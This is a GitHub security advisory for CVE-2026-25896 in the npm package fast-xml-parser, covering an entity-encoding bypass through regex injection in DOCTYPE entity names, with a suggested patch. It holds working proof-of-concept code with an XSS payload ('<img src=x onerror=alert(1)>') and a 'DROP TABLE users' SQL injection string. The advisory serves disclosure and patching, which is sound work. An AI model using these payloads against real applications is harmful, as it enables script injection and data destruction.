GHSA-M7JM-9GC2-MPF2

Vulnerability from github – Published: 2026-02-20 18:23 – Updated: 2026-02-20 22:19
VLAI?
Summary
fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names
Details

Entity encoding bypass via regex injection in DOCTYPE entity names

Summary

A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.

Details

The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.

In DocTypeReader.js, entity names are passed directly to RegExp():

entities[entityName] = {
    regx: RegExp(`&${entityName};`, "g"),
    val: val
};

An entity named l. produces the regex /&l.;/g where . matches any character, including the t in <. Since DOCTYPE entities are replaced before built-in entities, this shadows < entirely.

The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:

// v6 EntitiesParser.js line 96
const specialChar = "!?\\/[]$%{}^&*()<>|+";  // no dot

Shadowing all 5 built-in entities

Entity name Regex created Shadows
l. /&l.;/g &lt;
g. /&g.;/g &gt;
am. /&am.;/g &amp;
quo. /&quo.;/g &quot;
apo. /&apo.;/g &apos;

PoC

const { XMLParser } = require("fast-xml-parser");

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY l. "<img src=x onerror=alert(1)>">
]>
<root>
  <text>Hello &lt;b&gt;World&lt;/b&gt;</text>
</root>`;

const result = new XMLParser().parse(xml);
console.log(result.root.text);
// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>

No special parser options needed - processEntities: true is the default.

When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.

&amp; can be shadowed too:

const xml2 = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY am. "'; DROP TABLE users;--">
]>
<root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`;

const r = new XMLParser().parse(xml2);
console.log(r.root);
// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'

Impact

This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.

  • Default config, no special options
  • Attacker can replace any &lt; / &gt; / &amp; / &quot; / &apos; with arbitrary strings
  • Direct XSS vector when parsed XML content is rendered in a page
  • v5 and v6 both affected

Suggested fix

Escape regex metacharacters before constructing the replacement regex:

const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
entities[entityName] = {
    regx: RegExp(`&${escaped};`, "g"),
    val: val
};

For v6, add . to the blacklist in validateEntityName:

const specialChar = "!?\\/[].{}^&*()<>|+";

Severity

Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.3"
            },
            {
              "fixed": "5.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25896"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-185"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-20T18:23:54Z",
    "nvd_published_at": "2026-02-20T21:19:27Z",
    "severity": "CRITICAL"
  },
  "details": "# Entity encoding bypass via regex injection in DOCTYPE entity names\n\n## Summary\n\nA dot (`.`) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (`\u0026lt;`, `\u0026gt;`, `\u0026amp;`, `\u0026quot;`, `\u0026apos;`) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.\n\n## Details\n\nThe fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed `.` (period), which is valid in XML names per the W3C spec.\n\nIn `DocTypeReader.js`, entity names are passed directly to `RegExp()`:\n\n```js\nentities[entityName] = {\n    regx: RegExp(`\u0026${entityName};`, \"g\"),\n    val: val\n};\n```\n\nAn entity named `l.` produces the regex `/\u0026l.;/g` where `.` matches **any character**, including the `t` in `\u0026lt;`. Since DOCTYPE entities are replaced before built-in entities, this shadows `\u0026lt;` entirely.\n\nThe same issue exists in `OrderedObjParser.js:81` (`addExternalEntities`), and in the v6 codebase - `EntitiesParser.js` has a `validateEntityName` function with a character blacklist, but `.` is not included:\n\n```js\n// v6 EntitiesParser.js line 96\nconst specialChar = \"!?\\\\/[]$%{}^\u0026*()\u003c\u003e|+\";  // no dot\n```\n\n## Shadowing all 5 built-in entities\n\n| Entity name | Regex created | Shadows |\n|---|---|---|\n| `l.` | `/\u0026l.;/g` | `\u0026lt;` |\n| `g.` | `/\u0026g.;/g` | `\u0026gt;` |\n| `am.` | `/\u0026am.;/g` | `\u0026amp;` |\n| `quo.` | `/\u0026quo.;/g` | `\u0026quot;` |\n| `apo.` | `/\u0026apo.;/g` | `\u0026apos;` |\n\n## PoC\n\n```js\nconst { XMLParser } = require(\"fast-xml-parser\");\n\nconst xml = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n  \u003c!ENTITY l. \"\u003cimg src=x onerror=alert(1)\u003e\"\u003e\n]\u003e\n\u003croot\u003e\n  \u003ctext\u003eHello \u0026lt;b\u0026gt;World\u0026lt;/b\u0026gt;\u003c/text\u003e\n\u003c/root\u003e`;\n\nconst result = new XMLParser().parse(xml);\nconsole.log(result.root.text);\n// Hello \u003cimg src=x onerror=alert(1)\u003eb\u003eWorld\u003cimg src=x onerror=alert(1)\u003e/b\u003e\n```\n\nNo special parser options needed - `processEntities: true` is the default.\n\nWhen an app renders `result.root.text` in a page (e.g. `innerHTML`, template interpolation, SSR), the injected `\u003cimg onerror\u003e` fires.\n\n`\u0026amp;` can be shadowed too:\n\n```js\nconst xml2 = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n  \u003c!ENTITY am. \"\u0027; DROP TABLE users;--\"\u003e\n]\u003e\n\u003croot\u003eSELECT * FROM t WHERE name=\u0027O\u0026amp;Brien\u0027\u003c/root\u003e`;\n\nconst r = new XMLParser().parse(xml2);\nconsole.log(r.root);\n// SELECT * FROM t WHERE name=\u0027O\u0027; DROP TABLE users;--Brien\u0027\n```\n\n## Impact\n\nThis is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.\n\n- Default config, no special options\n- Attacker can replace any `\u0026lt;` / `\u0026gt;` / `\u0026amp;` / `\u0026quot;` / `\u0026apos;` with arbitrary strings\n- Direct XSS vector when parsed XML content is rendered in a page\n- v5 and v6 both affected\n\n## Suggested fix\n\nEscape regex metacharacters before constructing the replacement regex:\n\n```js\nconst escaped = entityName.replace(/[.*+?^${}()|[\\]\\\\]/g, \u0027\\\\$\u0026\u0027);\nentities[entityName] = {\n    regx: RegExp(`\u0026${escaped};`, \"g\"),\n    val: val\n};\n```\n\nFor v6, add `.` to the blacklist in `validateEntityName`:\n\n```js\nconst specialChar = \"!?\\\\/[].{}^\u0026*()\u003c\u003e|+\";\n```\n\n## Severity\n\nEntity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.",
  "id": "GHSA-m7jm-9gc2-mpf2",
  "modified": "2026-02-20T22:19:56Z",
  "published": "2026-02-20T18:23:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-m7jm-9gc2-mpf2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25896"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/943ef0eb1b2d3284e72dd74f44a042ee9f07026e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/ddcd0acf26ddd682cb0dc15a2bd6aa3b96bb1e69"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.3.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…